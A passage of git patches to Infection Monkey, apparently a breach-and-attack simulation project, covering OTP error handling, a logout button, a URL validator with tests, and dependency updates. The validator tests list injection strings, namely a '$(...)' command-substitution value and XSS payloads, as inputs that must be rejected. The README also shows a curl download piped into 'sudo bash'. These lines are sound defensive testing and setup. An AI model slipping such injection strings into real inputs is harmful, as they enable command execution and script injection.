100644 --- a/monkey/common/types/otp.py +++ b/monkey/common/types/otp.py @@ -1,5 +1,5 @@ from typing import TypeAlias -from common.utils.secret_variable import SecretVariable +from common.utils.i_secret_variable import ISecretVariable -OTP: TypeAlias = SecretVariable +OTP: TypeAlias = ISecretVariable From ccf0aba4bfbafa8cf3b6395de981351640a1a04f Mon Sep 17 00:00:00 2001 From: vakarisz Date: Wed, 22 Mar 2023 12:10:29 +0200 Subject: [PATCH 0672/1338] Agent: Catch all authentication errors to not leak the OTP --- .../island_api_client/http_island_api_client.py | 14 ++++++++++---- .../test_http_island_api_client.py | 3 ++- 2 files changed, 12 insertions(+), 5 deletions(-) diff --git a/monkey/infection_monkey/island_api_client/http_island_api_client.py b/monkey/infection_monkey/island_api_client/http_island_api_client.py index abfa56d3937..1f7dbce27da 100644 --- a/monkey/infection_monkey/island_api_client/http_island_api_client.py +++ b/monkey/infection_monkey/island_api_client/http_island_api_client.py @@ -13,12 +13,12 @@ from common.agent_plugins import AgentPlugin, AgentPluginManifest, AgentPluginType from common.common_consts.timeouts import SHORT_REQUEST_TIMEOUT from common.credentials import Credentials -from common.types.otp import OTP from common.types import AgentID, JSONSerializable +from common.types.otp import OTP from . import IIslandAPIClient, IslandAPIRequestError from .http_client import HTTPClient -from .island_api_client_errors import IslandAPIResponseParsingError +from .island_api_client_errors import IslandAPIAuthenticationError, IslandAPIResponseParsingError logger = logging.getLogger(__name__) @@ -61,8 +61,14 @@ def login(self, otp: OTP): self._http_client.additional_headers[HTTPIslandAPIClient.TOKEN_HEADER_KEY] = auth_token def _get_authentication_token(self, otp: OTP) -> str: - response = self._http_client.post("/agent-otp-login", {"otp": otp}) - return response.json()["token"] + try: + response = self._http_client.post("/agent-otp-login", {"otp": otp.get_secret_value()}) + return response.json()["token"] + except Exception: + # We need to catch all exceptions here because we don't want to leak the OTP + raise IslandAPIAuthenticationError( + "HTTPIslandAPIClient failed to " "authenticate to the Island." + ) def get_agent_binary(self, operating_system: OperatingSystem) -> bytes: os_name = operating_system.value diff --git a/monkey/tests/unit_tests/infection_monkey/island_api_client/test_http_island_api_client.py b/monkey/tests/unit_tests/infection_monkey/island_api_client/test_http_island_api_client.py index 97debb03e2f..98b5e036423 100644 --- a/monkey/tests/unit_tests/infection_monkey/island_api_client/test_http_island_api_client.py +++ b/monkey/tests/unit_tests/infection_monkey/island_api_client/test_http_island_api_client.py @@ -31,6 +31,7 @@ IslandAPIRequestError, ) from infection_monkey.island_api_client.island_api_client_errors import ( + IslandAPIAuthenticationError, IslandAPIResponseParsingError, ) @@ -125,7 +126,7 @@ def test_login__bad_response(): http_client_stub.post.return_value.json.return_value = {"abc": 123} api_client = build_api_client(http_client_stub) - with pytest.raises(IslandAPIResponseParsingError): + with pytest.raises(IslandAPIAuthenticationError): api_client.login(OTP) From 5e9f15925436bb077b7e01da55890062dce45b19 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Wed, 22 Mar 2023 17:16:59 +0200 Subject: [PATCH 0673/1338] UI: Add a logout button Issue: #3065 PR: #3134 --- CHANGELOG.md | 1 + monkey/monkey_island/cc/ui/src/components/Main.tsx | 4 +++- .../cc/ui/src/components/SideNavComponent.tsx | 12 +++++++++++- .../components/layouts/SidebarLayoutComponent.tsx | 4 +++- .../cc/ui/src/styles/components/SideNav.scss | 6 ++++++ 5 files changed, 24 insertions(+), 3 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 9340fa98c09..a806955a6eb 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -7,6 +7,7 @@ Changelog](https://keepachangelog.com/en/1.0.0/). ## [Unreleased] ### Added +- Logout button. #3063 - Add an option to the Hadoop exploiter to try all discovered HTTP ports. #2136 - `GET /api/agent-otp`. #3076 - `POST /api/agent-otp-login` endpoint. #3076 diff --git a/monkey/monkey_island/cc/ui/src/components/Main.tsx b/monkey/monkey_island/cc/ui/src/components/Main.tsx index 484699d4cc4..450b5fb36a3 100644 --- a/monkey/monkey_island/cc/ui/src/components/Main.tsx +++ b/monkey/monkey_island/cc/ui/src/components/Main.tsx @@ -227,7 +227,9 @@ class AppComponent extends AuthComponent { onStatusChange: this.updateStatus, islandMode: this.state.islandMode, defaultReport: this.getDefaultReport(), - sideNavHeader: this.getIslandModeTitle()} + sideNavHeader: this.getIslandModeTitle(), + onLogout: () => {this.auth.logout() + .then(() => this.updateStatus())}}; return ( diff --git a/monkey/monkey_island/cc/ui/src/components/SideNavComponent.tsx b/monkey/monkey_island/cc/ui/src/components/SideNavComponent.tsx index 726441ddf47..cc2cd693ea7 100644 --- a/monkey/monkey_island/cc/ui/src/components/SideNavComponent.tsx +++ b/monkey/monkey_island/cc/ui/src/components/SideNavComponent.tsx @@ -4,6 +4,7 @@ import {NavLink} from 'react-router-dom'; import {FontAwesomeIcon} from '@fortawesome/react-fontawesome'; import {faCheck} from '@fortawesome/free-solid-svg-icons/faCheck'; import {faUndo} from '@fortawesome/free-solid-svg-icons/faUndo'; +import {faSignOut} from '@fortawesome/free-solid-svg-icons/faSignOut'; import '../styles/components/SideNav.scss'; import {CompletedSteps} from './side-menu/CompletedSteps'; import {isReportRoute, IslandRoutes} from './Main'; @@ -19,7 +20,8 @@ type Props = { completedSteps: CompletedSteps, defaultReport: string, header?: ReactFragment, - onStatusChange: () => void + onStatusChange: () => void, + onLogout: () => void, }; @@ -29,6 +31,7 @@ const SideNavComponent = ({ defaultReport, header = null, onStatusChange, + onLogout, }: Props) => { const [showResetModal, setShowResetModal] = useState(false); @@ -105,6 +108,13 @@ const SideNavComponent = ({ className={getNavLinkClass()}> Events +

  • diff --git a/monkey/monkey_island/cc/ui/src/components/layouts/SidebarLayoutComponent.tsx b/monkey/monkey_island/cc/ui/src/components/layouts/SidebarLayoutComponent.tsx index 26df7a8e1f8..fb332e96950 100644 --- a/monkey/monkey_island/cc/ui/src/components/layouts/SidebarLayoutComponent.tsx +++ b/monkey/monkey_island/cc/ui/src/components/layouts/SidebarLayoutComponent.tsx @@ -9,6 +9,7 @@ const SidebarLayoutComponent = ({component: Component, defaultReport = '', sideNavHeader = (<>), onStatusChange = () => {}, + onLogout = () => {}, ...other }) => { return ( @@ -18,7 +19,8 @@ const SidebarLayoutComponent = ({component: Component, completedSteps={completedSteps} defaultReport={defaultReport} header={sideNavHeader} - onStatusChange={onStatusChange}/> + onStatusChange={onStatusChange} + onLogout={onLogout}/> }
    diff --git a/monkey/monkey_island/cc/ui/src/styles/components/SideNav.scss b/monkey/monkey_island/cc/ui/src/styles/components/SideNav.scss index 078b7daa2ec..5693fb74d2c 100644 --- a/monkey/monkey_island/cc/ui/src/styles/components/SideNav.scss +++ b/monkey/monkey_island/cc/ui/src/styles/components/SideNav.scss @@ -11,3 +11,9 @@ text-align: left; padding-left: 18px; } + +.logout-button.btn { + width: 100%; + text-align: left !important; + padding-left: 15px; +} From 52cd20ab5146e590395434f473858c86a1135855 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Wed, 22 Mar 2023 18:46:00 +0100 Subject: [PATCH 0674/1338] Island: Fix README node install command We need NodeJS 16.x --- monkey/monkey_island/readme.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/readme.md b/monkey/monkey_island/readme.md index 5beb3ec608c..fd25b5c3192 100644 --- a/monkey/monkey_island/readme.md +++ b/monkey/monkey_island/readme.md @@ -113,7 +113,7 @@ 1. Install npm and node by running: - `sudo apt-get install curl` - - `curl -sL https://deb.nodesource.com/setup_12.x | sudo -E bash -` + - `curl -sL https://deb.nodesource.com/setup_16.x | sudo -E bash -` - `sudo apt-get install -y nodejs` 1. Build Monkey Island frontend From 315326e30680ce2bb16d40f2119e48f30c6f872e Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Wed, 22 Mar 2023 18:51:19 +0100 Subject: [PATCH 0675/1338] Common: Add HttpUrl validator to AgentPluginManifest.link_to_documentation Issue #3081 PR #3135 --- .../agent_plugins/agent_plugin_manifest.py | 4 +- .../test_agent_plugin_manifest.py | 42 ++++++++++++++++--- .../test_plugin_compatability_verifier.py | 6 +-- .../cc/resources/test_agent_plugins.py | 2 +- .../resources/test_agent_plugins_manifest.py | 2 +- 5 files changed, 44 insertions(+), 12 deletions(-) diff --git a/monkey/common/agent_plugins/agent_plugin_manifest.py b/monkey/common/agent_plugins/agent_plugin_manifest.py index 70ac74bd675..050034b89e0 100644 --- a/monkey/common/agent_plugins/agent_plugin_manifest.py +++ b/monkey/common/agent_plugins/agent_plugin_manifest.py @@ -1,5 +1,7 @@ from typing import Callable, Mapping, Optional, Tuple, Type +from pydantic import HttpUrl + from common import OperatingSystem from common.agent_plugins import AgentPluginType from common.base_models import InfectionMonkeyBaseModel, InfectionMonkeyModelConfig @@ -38,7 +40,7 @@ class AgentPluginManifest(InfectionMonkeyBaseModel): version: PluginVersion description: Optional[str] remediation_suggestion: Optional[str] - link_to_documentation: Optional[str] + link_to_documentation: Optional[HttpUrl] safe: bool = False class Config(InfectionMonkeyModelConfig): diff --git a/monkey/tests/unit_tests/common/agent_plugins/test_agent_plugin_manifest.py b/monkey/tests/unit_tests/common/agent_plugins/test_agent_plugin_manifest.py index 9d0b419e479..fdd206aa95b 100644 --- a/monkey/tests/unit_tests/common/agent_plugins/test_agent_plugin_manifest.py +++ b/monkey/tests/unit_tests/common/agent_plugins/test_agent_plugin_manifest.py @@ -13,7 +13,7 @@ FAKE_OPERATING_SYSTEMS = ["linux"] FAKE_SUPPORTED_OPERATING_SYSTEMS = ["linux", "windows"] FAKE_TITLE = "Remote Desktop Protocol exploiter" -FAKE_LINK = "www.beefface.com" +URL = "http://www.beefface.com" FAKE_AGENT_MANIFEST_DICT_IN: Dict[str, Any] = { "name": FAKE_NAME, @@ -22,7 +22,7 @@ "target_operating_systems": FAKE_OPERATING_SYSTEMS, "title": FAKE_TITLE, "version": "1.0.0", - "link_to_documentation": FAKE_LINK, + "link_to_documentation": URL, } FAKE_AGENT_MANIFEST_DICT_OUT: Dict[str, Any] = copy.deepcopy(FAKE_AGENT_MANIFEST_DICT_IN) @@ -37,7 +37,7 @@ "target_operating_systems": [OperatingSystem.LINUX], "title": FAKE_TITLE, "version": "1.0.0", - "link_to_documentation": FAKE_LINK, + "link_to_documentation": URL, } FAKE_MANIFEST_OBJECT = AgentPluginManifest( @@ -47,7 +47,7 @@ target_operating_systems=FAKE_OPERATING_SYSTEMS, title=FAKE_TITLE, version="1.0.0", - link_to_documentation=FAKE_LINK, + link_to_documentation=URL, ) @@ -89,7 +89,7 @@ def test_agent_plugin_manifest__invalid_name(name): target_operating_systems=FAKE_OPERATING_SYSTEMS, title=FAKE_TITLE, version="1.0.0", - link_to_documentation=FAKE_LINK, + link_to_documentation=URL, ) @@ -119,7 +119,37 @@ def test_agent_plugin_manifest__invalid_version(version): target_operating_systems=FAKE_OPERATING_SYSTEMS, title=FAKE_TITLE, version=version, - link_to_documentation=FAKE_LINK, + link_to_documentation=URL, + ) + + +@pytest.mark.parametrize( + "link", + [ + "some_text.com", + "ftp://adfascxz", + "www.not_link.com", + "1s221312312", + "some_string", + "hTTps:/localhost.com", + "ttp://asdfawaszawersz", + "'https:////www.localhost.com", + "http://$(some_malicious_command).com", + "http://example.com/\" onclick=\"alert('XSS!')", + 'http://">alert(/XSS/)", + ], +) +def test_agent_plugin_manifest__invalid_link(link): + with pytest.raises(ValueError): + AgentPluginManifest( + name=FAKE_NAME, + plugin_type=FAKE_TYPE, + supported_operating_systems=FAKE_SUPPORTED_OPERATING_SYSTEMS, + target_operating_systems=FAKE_OPERATING_SYSTEMS, + title=FAKE_TITLE, + version="1.0.0", + link_to_documentation=link, ) diff --git a/monkey/tests/unit_tests/infection_monkey/puppet/test_plugin_compatability_verifier.py b/monkey/tests/unit_tests/infection_monkey/puppet/test_plugin_compatability_verifier.py index 76dec4163a7..08f595d3911 100644 --- a/monkey/tests/unit_tests/infection_monkey/puppet/test_plugin_compatability_verifier.py +++ b/monkey/tests/unit_tests/infection_monkey/puppet/test_plugin_compatability_verifier.py @@ -4,11 +4,11 @@ import pytest from tests.unit_tests.common.agent_plugins.test_agent_plugin_manifest import ( - FAKE_LINK, FAKE_MANIFEST_OBJECT, FAKE_NAME, FAKE_NAME2, FAKE_TYPE, + URL, ) from common import OperatingSystem @@ -17,7 +17,7 @@ from infection_monkey.island_api_client import IIslandAPIClient, IslandAPIError from infection_monkey.puppet import PluginCompatabilityVerifier -FAKE_NAME3 = "BogusExploiter" +FAKE_NAME3 = "http://www.BogusExploiter.com" FAKE_MANIFEST_OBJECT_2 = AgentPluginManifest( name=FAKE_NAME2, @@ -26,7 +26,7 @@ target_operating_systems=(OperatingSystem.WINDOWS,), title="Some exploiter title", version="1.0.0", - link_to_documentation=FAKE_LINK, + link_to_documentation=URL, ) FAKE_HARD_CODED_PLUGIN_MANIFESTS = { diff --git a/monkey/tests/unit_tests/monkey_island/cc/resources/test_agent_plugins.py b/monkey/tests/unit_tests/monkey_island/cc/resources/test_agent_plugins.py index 737eeeb981b..2baba71c299 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/resources/test_agent_plugins.py +++ b/monkey/tests/unit_tests/monkey_island/cc/resources/test_agent_plugins.py @@ -37,7 +37,7 @@ def test_get_plugin(flask_client, agent_plugin_repository): "config_schema": FAKE_PLUGIN_CONFIG_SCHEMA_1, "plugin_manifest": { "description": None, - "link_to_documentation": "www.beefface.com", + "link_to_documentation": "http://www.beefface.com", "name": FAKE_NAME, "plugin_type": FAKE_TYPE, "version": "1.0.0", diff --git a/monkey/tests/unit_tests/monkey_island/cc/resources/test_agent_plugins_manifest.py b/monkey/tests/unit_tests/monkey_island/cc/resources/test_agent_plugins_manifest.py index 550f7d541b3..9408ea2d6e5 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/resources/test_agent_plugins_manifest.py +++ b/monkey/tests/unit_tests/monkey_island/cc/resources/test_agent_plugins_manifest.py @@ -30,7 +30,7 @@ def test_get_plugin_manifest(flask_client, agent_plugin_repository): expected_response = { "description": None, - "link_to_documentation": "www.beefface.com", + "link_to_documentation": "http://www.beefface.com", "name": "rdp_exploiter", "plugin_type": "Exploiter", "safe": False, From d318bbf3a5fd875747e30aa09785ad2edbc11b42 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Thu, 23 Mar 2023 15:06:15 +0200 Subject: [PATCH 0676/1338] UT: Fix relay user connection timeouts Reducing the new client timeout and increasing the sleep time made test more reliable Issue: #3096 --- .../infection_monkey/network/relay/test_relay_user_handler.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/tests/unit_tests/infection_monkey/network/relay/test_relay_user_handler.py b/monkey/tests/unit_tests/infection_monkey/network/relay/test_relay_user_handler.py index d68edaaa235..13c6d859183 100644 --- a/monkey/tests/unit_tests/infection_monkey/network/relay/test_relay_user_handler.py +++ b/monkey/tests/unit_tests/infection_monkey/network/relay/test_relay_user_handler.py @@ -27,10 +27,10 @@ def test_potential_user_removed_on_matching_user_added(handler): def test_potential_users_time_out(): - handler = RelayUserHandler(new_client_timeout=0.001) + handler = RelayUserHandler(new_client_timeout=0.0001) handler.add_potential_user(USER_ADDRESS) - sleep(0.01) + sleep(0.02) assert not handler.has_potential_users() From 667f2534ee6d5b4c20aa342b85f2edfafe32192d Mon Sep 17 00:00:00 2001 From: vakarisz Date: Thu, 23 Mar 2023 15:31:47 +0200 Subject: [PATCH 0677/1338] Island: Add pytest-xdist package Issue: #3096 --- monkey/monkey_island/Pipfile | 1 + monkey/monkey_island/Pipfile.lock | 358 +++++++++++++++--------------- 2 files changed, 185 insertions(+), 174 deletions(-) diff --git a/monkey/monkey_island/Pipfile b/monkey/monkey_island/Pipfile index dac51a7f2fd..5d9d75ea95e 100644 --- a/monkey/monkey_island/Pipfile +++ b/monkey/monkey_island/Pipfile @@ -58,6 +58,7 @@ types-python-dateutil = "*" mypy = "*" types-pytz = "*" types-pyyaml = "*" +pytest-xdist = "*" [requires] python_version = "3.11" diff --git a/monkey/monkey_island/Pipfile.lock b/monkey/monkey_island/Pipfile.lock index 3b94a9639f5..e6af7f19a5c 100644 --- a/monkey/monkey_island/Pipfile.lock +++ b/monkey/monkey_island/Pipfile.lock @@ -1,7 +1,7 @@ { "_meta": { "hash": { - "sha256": "c5a267d75db3ffe4b5a7c271aeacf962fb8461f09778fd70a6d6def4294f4e39" + "sha256": "9ce35b412f819245277306e9ee0cdeb4e81464eae4d1ec833ac816db421d2f3b" }, "pipfile-spec": 6, "requires": { @@ -83,19 +83,19 @@ }, "boto3": { "hashes": [ - "sha256:9afe405c71bfd13fa958637caec9dc91f7009b221a7d87d4b067fa6f262aab67", - "sha256:ae106bdc5ac6e693100a2dba5ea1c9cfa6e556f6f39944fa8b3af6b104eeccf3" + "sha256:19762b6a1adbe1963e26b8280211ca148017c970a2e1386312a9fc8a0a17dbd5", + "sha256:367a73c1ff04517849d8c4177fd775da2e258a3912ff6a497be258c30f509046" ], "index": "pypi", - "version": "==1.26.85" + "version": "==1.26.97" }, "botocore": { "hashes": [ - "sha256:1f2d1f7e3b41f8c9cc5576be16d86552a46724fd5d15f38a50c002a957ac43ff", - "sha256:cb7e7e88a09ba807956643849b3a9b4e343a2c117838c0be1ca660052f69bcd2" + "sha256:0df677eb2bef3ba18ac69e007633559b4426df310eee99df9882437b5faf498a", + "sha256:176740221714c0f031c2cd773879df096dbc0f977c63b3e2ed6a956205f02e82" ], "index": "pypi", - "version": "==1.29.85" + "version": "==1.29.97" }, "certifi": { "hashes": [ @@ -373,11 +373,11 @@ }, "flask-security-too": { "hashes": [ - "sha256:0a0b653cfd1c5d252994bd87b1f112431cec2d5cacedfa49b36e1740da21c37d", - "sha256:727a0540caa84f72972490d3ad31e441fb6d4b6f507713bfc1636e4a41644e9f" + "sha256:3b3154aef73d3347d9f15d31a5a26528d19e4b5203a9b2a914f732b852abd75f", + "sha256:959ce6e379b7d32fb6aa3c4d75d1447a0f470e540ff5a7eae55b6e476e7368b7" ], "index": "pypi", - "version": "==5.1.1" + "version": "==5.1.2" }, "flask-wtf": { "hashes": [ @@ -664,71 +664,71 @@ }, "pydantic": { "hashes": [ - "sha256:1fd326aff5d6c36f05735c7c9b3d5b0e933b4ca52ad0b6e4b38038d82703d35b", - "sha256:2185a3b3d98ab4506a3f6707569802d2d92c3a7ba3a9a35683a7709ea6c2aaa2", - "sha256:261f357f0aecda005934e413dfd7aa4077004a174dafe414a8325e6098a8e419", - "sha256:305d0376c516b0dfa1dbefeae8c21042b57b496892d721905a6ec6b79494a66d", - "sha256:3257bd714de9db2102b742570a56bf7978e90441193acac109b1f500290f5718", - "sha256:3353072625ea2a9a6c81ad01b91e5c07fa70deb06368c71307529abf70d23325", - "sha256:36e44a4de37b8aecffa81c081dbfe42c4d2bf9f6dff34d03dce157ec65eb0f15", - "sha256:3bb99cf9655b377db1a9e47fa4479e3330ea96f4123c6c8200e482704bf1eda2", - "sha256:3f9d9b2be177c3cb6027cd67fbf323586417868c06c3c85d0d101703136e6b31", - "sha256:45edea10b75d3da43cfda12f3792833a3fa70b6eee4db1ed6aed528cef17c74e", - "sha256:51782fd81f09edcf265823c3bf43ff36d00db246eca39ee765ef58dc8421a642", - "sha256:532e97c35719f137ee5405bd3eeddc5c06eb91a032bc755a44e34a712420daf3", - "sha256:58e41dd1e977531ac6073b11baac8c013f3cd8706a01d3dc74e86955be8b2c0c", - "sha256:5920824fe1e21cbb3e38cf0f3dd24857c8959801d1031ce1fac1d50857a03bfb", - "sha256:5f3bc8f103b56a8c88021d481410874b1f13edf6e838da607dcb57ecff9b4594", - "sha256:63200cd8af1af2c07964546b7bc8f217e8bda9d0a2ef0ee0c797b36353914984", - "sha256:663d2dd78596c5fa3eb996bc3f34b8c2a592648ad10008f98d1348be7ae212fb", - "sha256:6a4b0aab29061262065bbdede617ef99cc5914d1bf0ddc8bcd8e3d7928d85bd6", - "sha256:6bb0452d7b8516178c969d305d9630a3c9b8cf16fcf4713261c9ebd465af0d73", - "sha256:72ef3783be8cbdef6bca034606a5de3862be6b72415dc5cb1fb8ddbac110049a", - "sha256:76c930ad0746c70f0368c4596020b736ab65b473c1f9b3872310a835d852eb19", - "sha256:7c5b94d598c90f2f46b3a983ffb46ab806a67099d118ae0da7ef21a2a4033b28", - "sha256:7ce1612e98c6326f10888df951a26ec1a577d8df49ddcaea87773bfbe23ba5cc", - "sha256:8481dca324e1c7b715ce091a698b181054d22072e848b6fc7895cd86f79b4449", - "sha256:87f831e81ea0589cd18257f84386bf30154c5f4bed373b7b75e5cb0b5d53ea87", - "sha256:9a9d9155e2a9f38b2eb9374c88f02fd4d6851ae17b65ee786a87d032f87008f8", - "sha256:9e337ac83686645a46db0e825acceea8e02fca4062483f40e9ae178e8bd1103a", - "sha256:b429f7c457aebb7fbe7cd69c418d1cd7c6fdc4d3c8697f45af78b8d5a7955760", - "sha256:b473d00ccd5c2061fd896ac127b7755baad233f8d996ea288af14ae09f8e0d1e", - "sha256:bd46a0e6296346c477e59a954da57beaf9c538da37b9df482e50f836e4a7d4bb", - "sha256:c428c0f64a86661fb4873495c4fac430ec7a7cef2b8c1c28f3d1a7277f9ea5ab", - "sha256:c9e5b778b6842f135902e2d82624008c6a79710207e28e86966cd136c621bfee", - "sha256:ca9075ab3de9e48b75fa8ccb897c34ccc1519177ad8841d99f7fd74cf43be5bf", - "sha256:f582cac9d11c227c652d3ce8ee223d94eb06f4228b52a8adaafa9fa62e73d5c9", - "sha256:f5bee6c523d13944a1fdc6f0525bc86dbbd94372f17b83fa6331aabacc8fd08e", - "sha256:f836444b4c5ece128b23ec36a446c9ab7f9b0f7981d0d27e13a7c366ee163f8a" + "sha256:01aea3a42c13f2602b7ecbbea484a98169fb568ebd9e247593ea05f01b884b2e", + "sha256:0cd181f1d0b1d00e2b705f1bf1ac7799a2d938cce3376b8007df62b29be3c2c6", + "sha256:10a86d8c8db68086f1e30a530f7d5f83eb0685e632e411dbbcf2d5c0150e8dcd", + "sha256:193924c563fae6ddcb71d3f06fa153866423ac1b793a47936656e806b64e24ca", + "sha256:464855a7ff7f2cc2cf537ecc421291b9132aa9c79aef44e917ad711b4a93163b", + "sha256:516f1ed9bc2406a0467dd777afc636c7091d71f214d5e413d64fef45174cfc7a", + "sha256:6434b49c0b03a51021ade5c4daa7d70c98f7a79e95b551201fff682fc1661245", + "sha256:64d34ab766fa056df49013bb6e79921a0265204c071984e75a09cbceacbbdd5d", + "sha256:670bb4683ad1e48b0ecb06f0cfe2178dcf74ff27921cdf1606e527d2617a81ee", + "sha256:68792151e174a4aa9e9fc1b4e653e65a354a2fa0fed169f7b3d09902ad2cb6f1", + "sha256:701daea9ffe9d26f97b52f1d157e0d4121644f0fcf80b443248434958fd03dc3", + "sha256:7d45fc99d64af9aaf7e308054a0067fdcd87ffe974f2442312372dfa66e1001d", + "sha256:80b1fab4deb08a8292d15e43a6edccdffa5377a36a4597bb545b93e79c5ff0a5", + "sha256:82dffb306dd20bd5268fd6379bc4bfe75242a9c2b79fec58e1041fbbdb1f7914", + "sha256:8c7f51861d73e8b9ddcb9916ae7ac39fb52761d9ea0df41128e81e2ba42886cd", + "sha256:950ce33857841f9a337ce07ddf46bc84e1c4946d2a3bba18f8280297157a3fd1", + "sha256:976cae77ba6a49d80f461fd8bba183ff7ba79f44aa5cfa82f1346b5626542f8e", + "sha256:9f6f0fd68d73257ad6685419478c5aece46432f4bdd8d32c7345f1986496171e", + "sha256:a7cd2251439988b413cb0a985c4ed82b6c6aac382dbaff53ae03c4b23a70e80a", + "sha256:abfb7d4a7cd5cc4e1d1887c43503a7c5dd608eadf8bc615413fc498d3e4645cd", + "sha256:ae150a63564929c675d7f2303008d88426a0add46efd76c3fc797cd71cb1b46f", + "sha256:b0f85904f73161817b80781cc150f8b906d521fa11e3cdabae19a581c3606209", + "sha256:b4a849d10f211389502059c33332e91327bc154acc1845f375a99eca3afa802d", + "sha256:c15582f9055fbc1bfe50266a19771bbbef33dd28c45e78afbe1996fd70966c2a", + "sha256:c230c0d8a322276d6e7b88c3f7ce885f9ed16e0910354510e0bae84d54991143", + "sha256:cc1dde4e50a5fc1336ee0581c1612215bc64ed6d28d2c7c6f25d2fe3e7c3e918", + "sha256:cf135c46099ff3f919d2150a948ce94b9ce545598ef2c6c7bf55dca98a304b52", + "sha256:cfc83c0678b6ba51b0532bea66860617c4cd4251ecf76e9846fa5a9f3454e97e", + "sha256:d2a5ebb48958754d386195fe9e9c5106f11275867051bf017a8059410e9abf1f", + "sha256:d71e69699498b020ea198468e2480a2f1e7433e32a3a99760058c6520e2bea7e", + "sha256:d75ae19d2a3dbb146b6f324031c24f8a3f52ff5d6a9f22f0683694b3afcb16fb", + "sha256:dfe2507b8ef209da71b6fb5f4e597b50c5a34b78d7e857c4f8f3115effaef5fe", + "sha256:e0cfe895a504c060e5d36b287ee696e2fdad02d89e0d895f83037245218a87fe", + "sha256:e79e999e539872e903767c417c897e729e015872040e56b96e67968c3b918b2d", + "sha256:ecbbc51391248116c0a055899e6c3e7ffbb11fb5e2a4cd6f2d0b93272118a209", + "sha256:f4a2b50e2b03d5776e7f21af73e2070e1b5c0d0df255a827e7c632962f8315af" ], "index": "pypi", - "version": "==1.10.5" + "version": "==1.10.7" }, "pyinstaller": { "hashes": [ - "sha256:314fb883caf3cbf06adbea2b77671bb73c3481568e994af0467ea7e47eb64755", - "sha256:3b74f50a57b1413047042e47033480b7324b091f23dff790a4494af32b377d94", - "sha256:4f4d818588e2d8de4bf24ed018056c3de0c95898ad25719e12d68626161b4933", - "sha256:502a2166165a8e8c3d99c19272e923d2548bac2132424d78910ef9dd8bb11705", - "sha256:5c9632a20faecd6d79f0124afb31e6557414d19be271e572765b474f860f8d76", - "sha256:8d004699c5d71c704c14a5f81eec233faa4f87a3bf0ae68e222b87d63f5dd17e", - "sha256:a62ee598b137202ef2e99d8dbaee6bc7379a6565c3ddf0331decb41b98eff1a2", - "sha256:bacf236b5c2f8f674723a39daca399646dceb470881f842f52e393b9a67ff2f8", - "sha256:bf1f7b7e88b467d7aefcdb2bc9cbd2e856ca88c5ab232c0efe0848f146d3bd5f", - "sha256:ded780f0d3642d7bfc21d97b98d4ec4b41d2fe70c3f5c5d243868612f536e011", - "sha256:e68bcadf32edc1171ccb06117699a6a4f8e924b7c2c8812cfa00fd0186ade4ee", - "sha256:f9361eff44c7108c2312f39d85ed768c4ada7e0aa729046bbcef3ef3c1577d18" + "sha256:12ca6567be457826e14416637ea54485a185d0ce7a5a044df0d0daf588fff6d1", + "sha256:2ba42038b3bd83e1fba7c8eb9e7cde43bd5938e37ca542c89e8779355d213f52", + "sha256:2bde16a8d664e8eba9aa7b84f729f7ab005c1793be4fe1986b3c9cad6c486622", + "sha256:3b2c34c3c3ddf38f68d9f5afbed82abe0f89d53014c56892326fef10172ee652", + "sha256:4b21b0298db44f5f07fc04d8ff81ec31efa47b72798efaecc4e811c50a102111", + "sha256:6cf6c032c72ef78fd9aa5e47d8952e784db45b2c3f7862bd44a99df68c216f64", + "sha256:8476538aec8a0a3be4f74b93388bd6989b91cc437ff86d6f0d3a68961176dce6", + "sha256:93d7e8443a6b60745d42aa50f08730f6b419410832b4c616c4f1bb315f087661", + "sha256:c7dd156c2438f197c168b990bbce03c97d3fb758dd9bbc3ca93626c2f4473a47", + "sha256:d1ff94347183ae3755cfb8f02e64744eb7fe384469bd61e453c6ff59a81665d6", + "sha256:dcd348b174fd72c4df271790ac582969c9423cb099fe92db9ec131a8a9243d5a", + "sha256:e7a4c292810285c2466f3bdcb1e03ba2170177ebe3d7054ff1af3bb348bf61a4" ], "index": "pypi", - "version": "==5.8.0" + "version": "==5.9.0" }, "pyinstaller-hooks-contrib": { "hashes": [ - "sha256:29d052eb73e0ab8f137f11df8e73d464c1c6d4c3044d9dc8df2af44639d8bfbf", - "sha256:bd578781cd6a33ef713584bf3726f7cd60a3e656ec08a6cc7971e39990808cc0" + "sha256:ab56c192e7cd4472ff6b840cda4fc42bceccc7fb4234f064fc834a3248c0afdd", + "sha256:d2ea40a7105651aa525bfe5fe309aa264d4d9bb49f839b862243dcf0a56c34cd" ], "markers": "python_version >= '3.7'", - "version": "==2023.0" + "version": "==2023.1" }, "pymongo": { "hashes": [ @@ -990,11 +990,11 @@ }, "setuptools": { "hashes": [ - "sha256:15136a251127da2d2e77ac7a1bc231eb504654f7e3346d93613a13f2e2787535", - "sha256:1c39d42bda4cb89f7fdcad52b6762e3c309ec8f8715b27c684176b7d71283242" + "sha256:2ee892cd5f29f3373097f5a814697e397cf3ce313616df0af11231e2ad118077", + "sha256:b78aaa36f6b90a074c1fa651168723acbf45d14cb1196b6f02c0fd07f17623b2" ], "markers": "python_version >= '3.7'", - "version": "==67.5.1" + "version": "==67.6.0" }, "six": { "hashes": [ @@ -1014,11 +1014,11 @@ }, "urllib3": { "hashes": [ - "sha256:076907bf8fd355cde77728471316625a4d2f7e713c125f51953bb5b3eecf4f72", - "sha256:75edcdc2f7d85b137124a6c3c9fc3933cdeaa12ecb9a6a959f22797a0feca7e1" + "sha256:8a388717b9476f934a21484e8c8e61875ab60644d29b9b39e11e4b9dc1c6b305", + "sha256:aa751d169e23c7479ce47a0cb0da579e3ede798f994f5816a74e4f4500dcea42" ], "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4, 3.5'", - "version": "==1.26.14" + "version": "==1.26.15" }, "webencodings": { "hashes": [ @@ -1061,45 +1061,39 @@ }, "zope.interface": { "hashes": [ - "sha256:008b0b65c05993bb08912f644d140530e775cf1c62a072bf9340c2249e613c32", - 